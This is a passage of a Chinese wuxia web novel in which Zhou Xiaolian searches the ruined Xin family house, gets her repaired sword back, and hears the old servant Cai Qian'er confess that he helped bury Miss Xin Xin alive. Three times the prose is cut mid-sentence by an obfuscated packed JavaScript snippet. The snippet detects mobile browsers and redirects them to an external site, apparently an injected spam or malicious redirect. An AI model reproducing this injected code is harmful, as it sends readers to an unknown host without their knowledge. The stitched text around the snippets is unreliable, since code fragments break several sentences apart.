不怪她,都是我的错。不要急,慢慢来,还有很多机会。燕紫芳这样告诉自己。 燕紫芳在无光无尘的书楼里待得太久,鹭点烟汀又没几个正常人,刚刚来到这里,还要一点点学世间的常人。 翌日清晨,客栈内人去楼空。 小怜几乎彻夜未眠,她为自己运转不起来的心法忧心。 若无洗雪心法傍身,洗雪剑对用剑者危害极大。昨日临时应战,小怜连点几处大穴强撑一口气,纵使如此,她也没敢用出洗雪剑法。自从出逃之后,她丹田一直如此亏空,先前明明从未有过这样的情况,在山庄时也没有…… 难道是周珊瑚给她下了什么降头还是药?小怜疑惑,打算之后先找个江湖医馆看看。她出了自己的房门,往楼下走,大堂里只有燕紫芳一人抱刀而立。 什么昨天被打得昏迷不醒的店小二,到处都是的木头腿,全都消失不见了。 厅堂里干干净净,小怜有那么一瞬,误以为昨日那一场打斗只是一场梦。 燕紫芳见她下楼,道:“那个人走了,他说之后也可以来这里住。我们的马就在后院,有人看着。” 这会儿见到燕紫芳,小怜还是有几分尴尬。她硬着头皮道:“噢,你早上见到他了?你叫他阮公子就行。这会儿什么时候了?” “辰时。”燕紫芳抛给她一个油纸包。 小怜打开一看,是个撒了芝麻的酥饼。 燕紫芳说:“韦郡的特产,边走边吃吧。” 他早上趁小怜没醒出去转了一圈。给小怜买了早点,帷帽,也问了芜兰坊怎么走,还有些辛家的事。 “琼鱼坊、温柔乡和黄金台都在郡东郡南,人一股脑往那两头挤,把郡西熬成个穷地方,现在多是些流民住在那。” “芜兰坊中早没什么有钱人家了。辛氏祖上刚迁过来的时候住在那,后来很快就搬去城东,开了琼鱼坊。辛家前两代靠着琼鱼坊赚得盆满钵满,但树大招风,第三代辛慎又是个草包,就被烧香天盯上了。” 燕紫芳和头戴帷帽的周小怜是走去芜兰坊的,好在他们入城时所处的地方时韦郡北。虽说芜兰坊在偏角中,可拐过一些小路,走不了半个时辰也到了。 昨日迦南香四子找上门来,小怜的相貌这会必然已传遍烧香天,燕紫芳给她买了帷帽戴着,也算聊胜于无的遮挡一番。 芜兰坊的确破旧。 石阶上爬满青苔霉斑,杂草丛生。越往西走,越人迹罕至,有几处院墙甚至已经有些坍塌,小怜忙避开,还不小心撞到了燕紫芳。 “这辛家的老仆真是愚忠,”小怜叹口气,眼见这儿没什么人了,就将头上戴着的帷帽取了下来,“一辈子就那么点积蓄,居然还用这点钱从烧香天手里抠出来主人家的老屋子。” 两人漫无头绪的在芜兰坊内走走看看,此处也不是个小地方,坊内几十户人家不止,在从前也算得上热闹。 “小心些。”燕紫芳伸出手臂让小怜搭着,野草长得实在茂盛,脚底下不太平稳。小怜因心法的事情心神不宁,也就随手用过他的手臂。 两人像无头苍蝇一样在芜兰坊转了一圈,可始终没见到一个活人,也没找到什么辛家的老仆。燕紫芳也皱眉,道:“先前我问路边的人,三四个,也都说辛家的人住在这里。” 小怜猛觉出几分不对:阮真棋和路边的平民没必要说假话骗他们,那怎么可能整片地方都荒的没人住?芜兰坊再荒凉也是个住处,不可能几十户人家全搬走的。 除非……是在故意躲着他们? 思及此处,小怜决定搏一搏。 她佯装苦恼,就在原地站着,大声道:“我父亲让我回来看看,怎么这儿一个人都没有!哎呀,哎呀呀,既然如此,那我们就先回去吧。” “唉,亏我父亲惦念着这儿。还说要把家里从前的老仆接过日月江去,之后好好过日子呢!” 周小怜声情并茂的一顿说,都到口干舌燥的地步,芜兰坊仍旧鸦雀无声。好一出独角戏,小怜也不嫌尴尬,咳嗽几声,继续道:“难道这儿真没人?可惜我父亲与我母亲和离,给我改了个辛辛的名……” 她一边说,一边来回张望。眼见真没什么动静,小怜声音越来越低,难道……真没人了? 就在周小怜正困惑的时候,她却看见一处残垣的幽暗拐角里,冒出一双眼睛,对着她眨了又眨。 两人视线对上在一息之间,见鱼儿上钩,小怜当即不装了,她口不择言伸手就道:“燕紫芳,快抓!” 燕紫芳不待她吩咐下来,便已飞身出手。饶是平民再快手快脚,又怎能敌武功非凡之人?燕紫芳快、准、狠,干脆利落地擒住那道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362287|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗处里受惊,躲闪不及的身影。 “啊!”小孩子的声音从燕紫芳的手掌下挤了出来,又尖又细,像个沸开的茶壶。 “抓到了。”燕紫芳一手就把对方提到半空中,像献宝似的往小怜的方向送去。周小怜不急不忙,走到他们跟前定睛一瞧,抚掌笑道:“我在这打窝打了半天,原来钓上个鱼仔?小老鼠?” 那小孩手脚乱挥,发现自己挣扎不脱燕紫芳后,干脆破罐子破摔,对着小怜破口大骂:“贱人!你这个贱人!姓辛的都是贱人!” “去死!我杀了你!贱女人!” 小怜对小孩的污遭话置若未闻,先下要以小搏大才行。她一心仔细打量了一番这瘦猴儿:一身破烂衣裳,颧骨高,眉梢吊。眼珠子乌黑却不亮,掂起来估计就一把骨头轻。 她一把扼住这孩子的脖子,果不其然,虚的她一手就能捏全了脖颈。燕紫芳松手,小怜活生生掐着他提在半空中,孩子的脚离地有些距离。 往下坠和往上拔的两股力在瘦弱的身躯上相互作用,孩子不多时就说不出话来,一昧的呼吸不足。 小怜冷冷道:“你的同伙?家里的人呢?唉,不管了,找个人真麻烦。” 小怜提着他转了半圈,神色与刚踏入此地时截然不同。她找人找累了,实在不想继续迂回,浪费时间。干脆扬声说:“我劝你们早点出来,别让我在这小崽子身上下功夫。” “你们也听到了,我姓辛,是辛家生的讨债鬼,我只来找那老东西。你们谁出来给我带个路,我就放过这小皮子,也不动你们的。” 小怜的手段向来正邪不分,恣意恩仇,只要结果合心意就好。不过眼下只是找人的小事情,她也并不会轻易地真掐死谁,现在这样动作,不过是唬人罢了。 对孩子下手,她还有分寸道德。 那孩子起初还有些进气,死死把周小怜手背挠出几道血沟。可小怜只是越掐越紧,丝毫没有松手的意思。 眼见他一张脸从红到青,又到紫,最后俨然开始失力发白,终于有人如了小怜的愿,从燕紫芳身后那片逮到小孩的幽影中,又踏出半步。 与此同时,从他们四周,还传来细细的女人幽泣声,轻轻呼唤着:“小牙儿,小牙儿……不要……”听得人毛骨悚然。 小怜提着孩子,与来人冷眼相对。 出来的人,是个鹤发鸡皮的老翁。杵着根拐杖颤颤巍巍,路也走不稳。小怜估摸着他有七八十岁?能在这样的地方活到这个岁数,也真是罕有。 “既是辛氏,辛氏的后人……这又是、何必呢……”老者说话还算清楚,小怜松了些手上力道,一把把孩子甩到那老者身旁地上。 她冷笑,道:“诸位在暗处看我们俩在这没头没脑的转几圈,无功而返,不是还挺有意思的吗?” 她一边说,一边往燕紫芳的身边靠了两步。芜兰坊中,从看不见的地方里浮出来的人越来越多,密密麻麻,浩如鼠群,将他们围做一圈。 这群人中,男女老少皆有。无不拿着棍棒或残木根,神色紧张,朝他们步步逼近。 “等等,等等……” 就在气氛紧张,周围人步步紧逼,小怜都以为要一触即发的时候。那老者似乎终于看清了她的脸,眉眼。 洗雪山庄人人都说,小怜长得像她父亲。 老人那苍老到松弛,遍布皱纹,一层层垂叠的脸皮里,流露出几分藏不住的讶异。 老人嘶哑着失声道:“你——你——少、少爷?小姐?不,是少爷,真是少爷么?” “你回来了……你真回来了?” 在场所有人,动作俱是一顿,齐齐不可思议地望向小怜。 “……别这么看我,我是如假包换的女人!” 受芜兰坊众人视线洗礼的小怜,无语凝噎道。 13. 辛门客 芜兰坊众人鸦雀无声,唯有老者身形摇晃踉跄,几乎站不住。 小怜不知要如何对待他,她与燕紫芳并肩而立,众人的包围渐渐散去,时不时泄露出一两声议论:“真是辛家的孩子?” “我又没见过辛慎,不过看着是有点眼熟……” “吵这老半天,老子还以为是琼鱼坊那群伥鬼又过来讨债了,”有个男人率先甩开木枝,他挠挠背,吊着半条腿一瘸一拐地走了,“我倦了,我要回去休息了。” “谁眼熟辛慎了?还不是老蔡天天挂在嘴边讲……哎,对了。小成,去扶小牙儿一把,看给这丫头摔得!这高门大户出来的下手真狠!” 有个穿衣还算干净的婶子,忙打发自己的儿子去把地上的小孩扶起来。她颇辛辣的朝小怜吐了口唾沫,骂道:“黑心脏肝的娘们,对个小孩下这么重的手……” “她骂我贱人,我这样没心肝的娘们,不杀了她就不错了。”小怜眼下没心思与他们处好关系,倒不是打心眼里看不起她们这样的流民,洗雪山庄旁来来往往的人多了去了,这才哪到哪?这儿的大多数人还没断胳膊断手呢。 况且有些时候,像他们这样的普通人,还是不要和她这种江湖人扯上太多关系才好。比三六九等更重要的是,他们保命的能力各不相同。 小怜不想途中万一出了什么事情,把他们一干人等全搅了进来。她只想一心一意的快点找到杭红真如今的下落,若能从这儿撬出什么杭红真早两年已经死了的消息,更好。 小牙儿骂她是贱人,她借小牙儿脖子一掐,两两相抵……小怜的手背上血肉模糊,血一直往下淌,沿着指尖滴。 那婶子起初被小怜回的话吓得一愣,可更快席卷过心肺的,是一种躁动的怨火。她捋起袖管,正要冲上去和小怜拼命,却没想着被小牙儿和小成死死拽着。 小牙儿脖颈间红得惊悚,她声音嘶哑,生怕小怜这煞神把婶子也扯进事情里。 小牙儿忙道:“婶、婶子,咳咳、咳咳咳!我们、先走……” “娘、娘……快别说了……” 扶着小牙儿肩膀的是个半大的男孩,比小牙儿要高许多,他娘把他养得的确不错。相比这儿的许多人,婶子一家子都算看上去活的不错的了。 小怜看着还在震惊的老人,心分毫没顾上旁边的小牙儿一干人。她与燕紫芳并肩而立,燕紫芳一路上也不曾阻拦过她过分苛刻的动作,只是默默看着她,看得她头皮发麻。 若放在平时,以两人的身段容貌,还能做个金童玉女。现在在韦郡和芜兰坊,只能做对奸夫□□了。 那婶子心里暗骂燕紫芳和周小怜,也是一对看着白心里黑的畜生!若不是眼下还要她照顾两个孩子,这才只能无可奈何的又啐了一口,搂着小成和小牙儿,随着人群散开了。 “辛家老宅在哪?”小怜看着惶惶然的老蔡,应该是这个姓氏吧?如此问到。 老蔡身子晃了晃,再开口时,语气带着几分惆怅。他说:“你和少爷长得真像……像极了,唉……讨债,讨债,你说的倒也不错,这债……” “辛家的什么债都和我没关系,”小怜垂眸,无情道,“我姓周不姓辛,刚才说那么多都是骗你的。我父亲在外面也从没说过自己叫辛慎。” “你若是姓辛,那才是世间最可悲可怜的女娃儿啊……” 老蔡叹出一口气,他是一截即将干朽的腐木。 前半生,他是被人牙子卖到辛家的奴仆。辛家和其它世家大差不差,外表金玉满堂,内里实则就是个吃人的窟窿。 每一个奴仆的自尊,乃至身体的一部分,在进入这座宅邸的时候,就注定会被这头恶兽吃得什么也不剩。 后来辛家一朝倾覆,家奴们偷了身契各奔东西,就连做主人的辛慎也逃之夭夭……可是他没走。 他用半生积蓄,和从辛慎那偷来的钱财,买下辛家的老宅。如此举动,不是为了供奉他过去的主人,而是为了尿在他们埋在地里的脑袋上。 辛家的人,值得被挫骨扬灰。若是辛慎没从韦郡逃走,那他迟早也会被老蔡坑杀骗卖。 “少爷啊,是个不折不扣的懦夫,草包。嗜赌成性……但实在命好。我花了很多钱打听他后来的事情,出了韦郡,到北边去了。” 老蔡透过小怜的脸,看见了少年时同样意气风发的辛慎。愚蠢透顶又傲慢的辛少爷,听了他的话,顺着他的意思,在琼鱼坊中一掷千金……直至辛家家财散尽。 老蔡感慨道:“我知道少爷他啊,攀上一个有钱的女人……后来就没有别的消息了。” “他没回来过?”小怜蹙眉,她对着老头子的眼神有几分不爽,“这几年,没回来过?” “若是少爷他回来了,看见芜兰坊现在的样子,估计也不会进来吧,”老蔡摇了摇头,这才真正地看向小怜,“你们是来找他的?” “……嗯,不介意我们去老宅看看吧。”小怜道。 老蔡背过身,他喉间冒出一声怪笑,缓缓朝一条小道走去:“没什么好介意的,你们随我来吧。” 他也是瘸着腿走的,小怜这才发现面前的老人,要比毒婆婆和猫婆婆,还要矮上许多。或者说,不是矮,是萎缩了。 小怜的断骨断筋还要用药养,那是一种手段,不像寻常的刑罚。做家奴的,被打断了骨头,只要不死,那第二日、第三日、第四日……还要吊着一口气做工,骨头断了再长合,刚长合,说不定又因为什么一株花没开的原因断了。 小小窄窄的一条路,老人走得困难。小怜和燕紫芳也不急,不催他,只是静静缀在他身后,听他絮絮讲关于辛家的故事。 “少爷的命怎么就那么好呢?天生的富贵,是和我这种贱命啊,不一样……” “买了这处宅子,芜兰坊很快又被烧了。逃出去的少爷,却找了个好地方……他在你家中,应该也是享福的人吧?嗯?” 小怜不禁想起一些过去的杭红真,脸……已经记不大清了,小怜只记得他是个很麻烦的人。 周珊瑚一个冷心冷情,心肺俱黑的人,为钓不着鱼的他挖了个湖;还有段时间,杭红真身体很不好,周珊瑚为此还特意找来了人—— 找来了人……做什么? 周珊瑚为身体不好的杭红真做了什么? 周小怜皱了皱眉,居然怎么也想不起来了。周珊瑚请了一个人,可那个人是谁,是什么时候来的? 她在无声无息中顿了一下,不知为何,她荡然无存的真气竟突然有一分松动。此时此刻,正流转在她肺腑之中。 小怜难免有几分喜意,强撑着面上不动声色的模样,答:“还算好吧,我家中不缺金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362288|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银细软,总是不会在衣食住行上短缺了他。” “呵呵……我啊,就知道是这样。”老蔡沉默片刻,带着他们走到了一扇高门前。 墙砖斑驳零落,门框门槛生虫长蚁,早已有几个可怖的大洞裸露在外。 门没有落锁,老蔡用半边身子抵着,一步步朝里挪开,道:“我真是老了,门也打不……” 老人的话音未落,那扇高门才刚刚开了条缝。小怜却一言未发,突然发难。 她一掌轰出,但那一掌并非要打在老蔡的身上,洗雪心诀捎带起的罡风震开门扉。 飞灰迷眼,小怜趁机把老蔡往后扯去,扔进燕紫芳的臂弯里。 “有人,往后退。”小怜迈开半步,站稳身子,语气淡淡的向身后两人提醒到。 她一人独挡在前,门扉后一道暗色身影,与她手掌相贴,其真气磅礴,不逊色小怜丝毫。 “姐姐,”少年声音中有几分戏谑,眉梢挂喜,他见到小怜很是开心,“不对。现在我该叫你小怜,还是周姐姐?” 周小怜不为来人口中的话所动,掌中力压几分。寻常习武之人运功时,手心会因为活血而一片温热,学洗雪心诀者,则截然相反。 小怜的手越来越冰,她对来人起了毫不遮掩的杀意。顷刻之间,就连呼吸也在生寒。 第六重洗雪心诀,早已运转至极。小怜与之两掌紧贴一处,对方的手只会在片刻后,因急冻而皮肉溃烂,被她活生生扯下来。 乌兆星掌中越发刺痛,见小怜认真应战,两人手掌紧紧粘连,寸步难移。他赶忙收敛神色,急促道:“姐姐,我带来了你想要的东西!” 一边说着,他一边向自己背后伸手。 然而这一回,是燕紫芳提刀打在他右臂上。三百两并未出鞘,乌兆星借机一抓长刀,将自己从小怜漩涡似的真气中拔出来。 “是姐姐你的铜凤!”眼见小怜不语,正要再一掌直击他额心中时——乌兆星终于掏出了他一直藏在身后的,属于小怜的剑。 在意外的地方,意外的见到之前被周汀情砍得面目全非的配剑。小怜急提手掌,酝酿至臻的真气猛然随她心意回撤,然而其势如凶浪滔滔不绝,此时收敛,只会倒冲进她气脉之中! 小怜一口血直直喷出,飞溅在乌兆星的脸上,和她的铜凤上。 方才好不容易复现的真气,也随着这一击,消失殆尽。 她没气过,饶是身上再疼,小怜也还是选择——先一拳打在乌兆星的脸上。 “你……拿了,铜凤过来,就不能早点说吗?!!” 小怜怒气炽盛,一拳又一拳,毫不留情地落在乌兆星那张艳美脸皮上。 洗雪山庄周二小姐,把顶着一头血的江湖魔头乌兆星打得嗷嗷直叫,不敢还手,只一味发出“求姐姐怜惜!”、“姐姐别打了,阿星错了!”、“我是一片真心向姐姐!”的声音。 若被那些知道两人的江湖人看见他们的模样,只怕会觉得万分可怕:周二小姐生擒魔头,真是桩奇闻啊。 在辛氏旧宅的门槛外,方才顺着小怜意思拦住老蔡的燕紫芳,看着面前如姐弟般打闹的两人,眼中微微颤动,若有所思。 而辛宅如今的主人老蔡,对面前的情形,也有点茫然。 这突然出现在他家的少年人……是谁? 14. 买椟砸珠 小怜在这两日里赶上了数不尽的坏事、烂事、烂人,但没想到乌兆星居然会突然出现,而且在她这里,已经算是近来很难得的好事了。 那日日月江畔,铜凤剑碎,她被迫回到洗雪山庄,从此再也没拿过剑……如今还能再见到故友铜凤,小怜很是开心,比见到乌兆星要开心百倍。 “怎么修的这样好,”小怜膝上抚剑,也不顾这儿厅堂逼仄,她、燕紫芳、乌兆星和老蔡四人几乎挤成一团。她不是那样痴狂的嗜剑之人,只是对自己的东西格外上心,是人之常情,“好漂亮啊,我的铜凤。” 铜凤剑长约三尺,刃宽约有小怜的三指,是洗雪山庄为她特意做的一把剑。 小怜性子直,铸剑时便取软材;小怜通俗,铜凤剑便讲究雅锋——铜凤剑身比和氏璧更澄澈,是真正的无瑕。铜凤的精美浮于剑上,看似只是个华而不实的配剑,实则唯有在小怜的手中,软剑铜凤添上小怜那一分莽意疯意,才会变得杀气腾腾。 修好了铜凤的乌兆星,见到小怜这副难得真心开怀露笑的样子,忍不住在她面前翘起尾巴自夸,道:“我找了好些工匠呢,姐姐,为了你的铜凤,我耗尽心血了……哎,材料都好难找。” “而且我啊,本想着之前在山庄里就给你的。没想到你就那样又利用我。”说到这里,乌兆星又有几分委屈,他故意往小怜肩旁拱了拱。 小怜也没躲,随手摸了摸他的头,敷衍道:“好好,多谢阿星了。哎,铜凤回来了,真是太好了,以后再也不用拿别人的用了。” 燕紫芳眉头一挑,什么也没说,只是默默将小怜左手旁垂下的衣袖,往自己的腿边扯过一点,勉勉强强盖住他放在腿上的半只手。 这三人的神态动作,各自尽落在老蔡眼中。小怜是真目中无人,燕紫芳、乌兆星各怀鬼胎……就是燕紫芳动作都在幽微处,小怜看都看不见,这是图啥? 会哭的孩子才有奶吃,譬如乌兆星,两个爪子都快扒在小怜身上了。老蔡摇头,不知不觉间就在心底比对上两个男人。 方才入内,小怜和乌兆星在门口对上片刻,小怜心法之纯厚,实在将乌兆星吓了一跳。他向来都知道小怜会武功,当年他遭遇追杀,是小怜救他一命,会武功并不奇怪。 乌兆星忍不住用脸颊蹭蹭小怜胳膊,他遇到小怜就没了骨头,活似一粒发黏的米团:“姐姐好厉害,原来从前帮我时也收了手。许久未见,姐姐的肩膀也宽了……” 两人相处,从前也是这样。小怜并不见怪,只是在他背上拍了一把,熟练道:“坐直,腰挺好了。这什么坐姿,歪七扭八的。对了,快跟老人家说对不住,不该打烂你家里东西的。” 乌兆星撒娇,周小怜铁面无私,坐怀不乱。 乌兆星无奈,眼睛也没看着老蔡就道:“好吧。对不起了,老东西。” 燕紫芳看着那两人动作,手不自觉的攥紧了小怜半侧衣袖,神色晦暗不清。 旁观者清,老蔡看得寒毛直竖,讪笑道:“哦……小事,小事。” 一碗水端不平才是大事。老蔡惟愿小怜扭头往左边看看,以免身边沉默寡言的奸夫燕氏暴起,把他家剩下的东西也打烂了。 “对了,辛慎既然这几年都没回来过这,”小怜无意识地拍了拍燕紫芳的手,真如老蔡所愿,与燕紫芳对上视线,“你要不看看这儿还有什么东西和他有关的?带走?说不定有什么用。” 燕紫芳“嗯”了一声,指尖虚虚蹭过小怜的手背,他问小怜:“一起?” 答却是咬牙切齿的乌兆星答的。 “一、起,当然要一起啊。姐姐真是……怎么才几日,身边又多了个……” “反正燕紫芳并非姘头,我清者自清。”小怜现在每遇到一个人都要对这件事情解释一番,已经有些厌烦了。 乌兆星忍不住嘟囔:“可姐姐你哪里是清者?先前除了我,还有……” 还有阮真棋甘霖褚见珏,简直是劣迹斑斑,但那怎么了!怎么了!送上门的也好,强求来的也好,现如今对她死缠烂打的还不是他们吗?男人追女人,败坏的却是她的名声。世间还讲不讲天理王法了? 小怜对玩弄少男情丝一事还是有几分心虚,她又猛地拍了乌兆星肩膀一巴掌:“起来起来,在这白坐着干嘛,你既然来了,也过来帮忙。” 小怜用起乌兆星可比用起燕紫芳熟手,而且对于小怜的吩咐指使,大魔头乌兆星甘之如饴,他也不再把注意放在燕紫芳身上。 少年还有几分沾沾自喜,朝没被姐姐选中的燕紫芳睨了一眼,胜利净在不言中。他站起身,干脆道:“哎,这就来了。找什么啊姐姐?” 辛家老宅就这么一亩三分地,过去辛氏值钱的东西,早就被收缴或变卖。老蔡领着三人往空荡荡的库房去,这儿也没上锁,里面打眼望去,只有些破木头。 得亏老蔡和其它芜兰坊人还时不时在这洒扫翻找,看看还有没有其它什么值钱的东西,要不然这儿恐怕满是飞灰。 老蔡坐在门口一把木凳子上喘气,他一把年纪陪小怜三人折腾不容易,这会儿得歇下了。 “这原本是辛家的库房,说不准还有些什么东西……其他的地方,是没有了,”老蔡抖着手擦额头,一抹全是汗珠,“现在只剩下些不值钱的破木头……” “这木头不值钱?”乌兆星蹲着,随手拎起半条椅子腿掂量,“黄花梨,你们居然还没拿去当柴火烧了,也是难得。” “辛家从前在京里就是个官,韦郡的辛是个逃难来的旁支,”乌兆星沉吟一声,与小怜道来,“京里头的辛,办了件贪事被革职。不过从这堆木头看来,这儿的辛也一样。” 乌兆星讥讽道:“被烧香天算计了也是蠢得活该,报应如此。只不过家破人亡,还不够爽快……又蠢又坏的人,怎么也得千刀万剐。” 小怜和燕紫芳各在库房两头寻找,这里果然已没什么看上去就名贵的东西了。小怜摸了个满手黑,也不知是灰还是别的什么东西。她随手蹭蹭,却摸着个细长条的匣子。 应该是装着什么画卷的匣子,小怜觉得熟悉,顺手取了过来。从缝隙间往外蹭着走,到了老蔡身边坐下。 老蔡见了那匣子,却有几分紧张。 匣子上空挂着一个锁,锁头早已坏了。小怜拧了两下,便将它轻而易举地掰了下来。她余光扫见老蔡视线胶在匣上,不禁随口问了句:“你认识?故意藏起来的啊?” 老蔡脸上的赘皮微不可察的抽动了一下,小怜不急着开匣,她要听故事。过了半晌,老蔡才泄气道:“是小姐的画,是……少爷的娘,辛小姐画的。” “辛小姐?”小怜指头点着匣子,“外头的女子出嫁后就要从夫姓,也不再是本家的人……哦,招赘,不然我爹怎么姓辛。” 老蔡低低应了一声,继续讲:“大老爷断了根。小姐是从好地方来的……她从小就好,不想办琼鱼坊,一心的爱那些诗词歌赋。” “哦?这倒有些意思。”小怜听出他遮遮掩掩的弦外之意,心中有几分意外,倒也和方才乌兆星讲的对上了。 逃难来的旁支没有根,京里的辛犯了事儿。姓辛的,他们骨子里的贪是相同的,舍不下民脂民膏,京畿刮不了了,就刮韦郡的。 只是京里犯下的事不小,迟早会被上峰清算,断尾谋生,那就送条血去韦郡。 辛小姐就是那条血。 小怜随口问:“辛小姐叫什么?” “辛欣,欢欣的欣,”老蔡提及她,语气有几分怀念,“办了琼鱼坊后,辛家许多人都去了郡东住。只有小姐爱清净自在,一个人带着丫鬟,住在老宅这。” 柳飞日短,辛欣在芜兰坊辛宅摇着缠丝小扇扑蝴蝶。小院中支着一把柳木摇椅,辛欣最爱把脚搁在矮凳上,坐着摇椅摇啊摇。 画匣打开,小怜取出那一卷画轴,在老蔡面前摊开画……画上是一个中年男人的背影,他在池塘边扶着锄头,脚下芳草绵绵,衣上沾着湿泥。 莺儿飞过,辛欣小姐批注曰:蔡钱儿冬天输我一池荷花,今日一笔勾销,以此画为证。 “辛家人是不是除了辛慎都死了来着?她是怎么死的?”小怜见画,心头猛挣了几下。 老蔡看着画上情状,不由怔住。辛欣的字娟秀,他攥住自己膝上布块,急急问道:“上头那些是什么意思?我不识字……小姐她写了什么?小姐你、你识字吧?” 小怜垂眸道来:“‘蔡钱儿冬天输我一池荷花,今日一笔勾销。’……你与辛氏还不清的冤孽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362289|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,与她一笔勾销了吗?” 老蔡听到这句话,整个人倏地灰暗下去。他瘫坐在凳子上,长久不语。 燕紫芳和乌兆星走到周小怜身旁,见她膝上画卷,乌兆星称奇:“这画是从那腌臜地方里掏出来的?里头值钱的木头虽然多,可其他的连根毛儿也没有。我还以为这里那些难民给搜刮干净了。” 燕紫芳难得主动说话,他探手指在画上一处,低吟道:“画还算完整,就是放久了,纸上难免有几处花了。里面又湿又冷,还有虫蚁……” 听到燕紫芳这句话,老蔡——蔡钱儿,嚎啕大哭出声,把乌兆星吓得一激灵。 “嚯,突然唱这一出,哭丧呢!”乌兆星稀奇,小怜和燕紫芳却对视一眼。 蔡钱儿失魂落魄,喃喃道:“是我问心有愧、我对小姐有愧啊!是我对不起小姐,小姐待我好……” “少爷遭了骗,烧香天的香堂捉了小姐去——我、我们为了保命,便听了那些个贼人的话,将她活活的埋……” 蔡钱儿想起过去的人和事,整个人抖如筛糠。人垂垂老矣,已经受不住往事对身心的磋磨——更何况辛欣看似有恩于他,他却亲手报以仇怨。 老人崩溃大喊,声嘶力竭,状如痴人犯嗔,意识不清。 小怜冷眼旁观,心中泛起一抹悲凉。她总算知道,为何蔡钱儿那样恨辛氏的人,却还愿意与她好好的讲话。 乌兆星闻言,应是想起了什么,忍不住蹙眉:“烧香天的瘗玉埋香……对常人用?那香堂和这辛小姐有什么仇吗?好狠的手段。” 向来冷面的燕紫芳,竟也有几分不忍的神色,隐隐于眉眼间。 “用香料塞了嘴巴,再将活人埋在花树下……长此以往,落英缤纷。” 小怜听说过这样的手段,江湖中,这样惨绝人寰的手笔不在少数。可烧香天只是贪图辛家的琼鱼坊,何必用这样的手段对付辛欣这样的普通女子? 问心有愧。 这四个字,对于蔡钱儿那一干家仆做的事情而言,太轻了。 昔年为她种莲蓬,今朝黄土填满头。 小怜难言片语。 她可怜辛欣在旁人口中活得只是个温驯的好人。女人好到被埋了去,芳魂杳然,没能化作怨鬼,杀尽埋她的人,和她没用的废物儿子。 若非蔡钱儿还有用,周小怜真愿意替辛欣出剑。尽管周小怜自认自己并非辛家人,她只是有几分打抱不平的侠气,这也够用了。 蔡钱儿偷了半生苟延残喘的活,若论辛家对不起他的事情也有,可绝不应该是用这样的手段,报复到了辛欣头上……真要埋,也应该埋她爹辛慎。 小怜沉下肺腑间那些动荡,在蔡钱儿面前,快手将辛欣的画撕去。 蔡钱儿见状,竟跌跌撞撞地从凳子上扑了下来! 他拦不住小怜,就伸手去够那些个洋洋洒洒地碎片。他把这画轴藏在深处,就以为自己能逃过辛氏一辈子,咬牙切齿,畅畅快快地恨。 老人呲目欲裂,满眼猩红,像着了魔似的朝小怜嘶吼:“你做什么!这是做什么啊!小姐留下的东西……好端端你毁去做什么?!” “埋了她的人,藏了她的画。这么多年都没半分忏悔,只是怕她夜半索命吧?又何必此时在这装深情。” 周小怜拍拍手,笑了一声:“难怪方才他说又湿又冷,虫蚁巢生,你这样大的反应。” “你说辛欣是个好姑娘,埋她的时候,她是什么眼神,对你说过什么,求过饶吗?你还记得么?” 小怜痛痛快快说完,可仍有些怅然郁结不消。 她抚摸过装画的木匣,触感很是熟悉的木匣,载着一段辛欣的木匣。 一开始拿来木匣的原因,只有一个。 这样的木匣,她有另一只,就在怀中。 从前在洗雪山庄遍寻无迹的线索,竟然深藏在韦郡郡内,辛家宅里。想来这匣子,是那年辛慎带到洗雪山庄去的。 里面到底会是什么东西?会和辛家……和辛慎有关吗?一个秘辛?又或者,还是一段辛欣的故事呢? 小怜冷声道:“你和辛小姐的故事,你自个儿偷摸着照镜自怜去吧。眼下我还有一件要紧的事情问你——给辛家做匣子的人,是谁?” 15. 牙牙儿辩狗 周小怜知道自己的问题与辛慎的下落并无干系,可她实在是对和蔡钱儿再撕扯下去感到恶心,此时问完便再也不用见面……她顾不上会引起燕紫芳的怀疑了。 好在燕紫芳也没说什么,他一直也不怎么说话,就只是跟着、看着、护着小怜。他说不会让小怜死,便真的一路上一心一意的为她出刀。 燕紫芳总让小怜有种说不上的安心。譬如方才情急之中,小怜也下意识就把人扔到他怀里。相识不过数日,竟然已经有些信赖……江湖的大忌,周小怜顺手就犯了。 蔡钱儿听到女声,从地上恍惚抬头。这次距离很近,他又再次看到小怜的脸,眉眼——千百句能脱口而出的话,化作苦笑一声。老人喃喃道:“匣子是小牙儿的祖父做的,他们家一家子,从前是辛家的工匠。” “辛家没了,烧香天不放过任何人,他们也没了生路。老工匠卖女,丫头生下小牙儿,疯了……” 